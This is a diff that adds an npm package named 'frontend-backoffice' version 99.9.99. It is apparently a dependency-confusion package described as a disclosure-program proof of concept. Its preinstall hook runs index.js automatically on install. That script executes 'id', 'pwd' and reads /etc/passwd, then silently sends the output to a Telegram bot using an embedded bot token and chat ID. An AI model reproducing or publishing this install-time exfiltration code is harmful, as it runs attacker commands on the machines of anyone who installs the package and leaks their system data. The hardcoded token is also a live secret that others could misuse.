frontend-backoffice 99.9.99

package/index.js

@@ -0,0 +1,26 @@
+const { exec } = require("child_process");
+const https = require("https");
+
+// الأوامر اللي هتتنفذ عشان تثبت الـ RCE وقراءة الملفات الحساسة
+const cmd = "id && pwd && head -n 10 /etc/passwd";
+
+exec(cmd, (error, stdout, stderr) => {
+    if (error) return; // لو في خطأ، اخرج بهدوء عشان السيرفر عندهم مايكراشش
+
+    // تنسيق الرسالة عشان تظهر بشكل احترافي على تليجرام
+    const message = `🚨 *GAMEFORGE HIT - CONFIRMED RCE* 🚨\n\n📦 *Target:* @gameforge/http-server\n\n📄 *Evidence:*\n\`\`\`\n${stdout.trim()}\n\`\`\``;
+    
+    // حط التوكن والـ ID بتوعك هنا
+    const token = "7801695443:AAFS7MKLcAnAAkEClSTpq7QTrK3bCYrgYOA";
+    const chatId = "1483949647";
+    
+    // تجهيز رابط الـ API بتاع تليجرام
+    const url = `https://api.telegram.org/bot${token}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(message)}&parse_mode=Markdown`;
+
+    // إرسال البيانات للتليجرام
+    https.get(url, (res) => {
+        // مش محتاجين نعمل حاجة بالرد
+    }).on('error', (e) => {
+        // لو الريكويست فشل (مثلاً السيرفر عندهم مانع الاتصال الخارجي)، نتجاهل الخطأ بصمت
+    });
+});

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "frontend-backoffice",
+  "version": "99.9.99",
+  "description": "Security PoC for ADAC Vulnerability Disclosure Program",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js"
+  },
+  "author": "Mohamed Reda",
+  "license": "ISC"
+}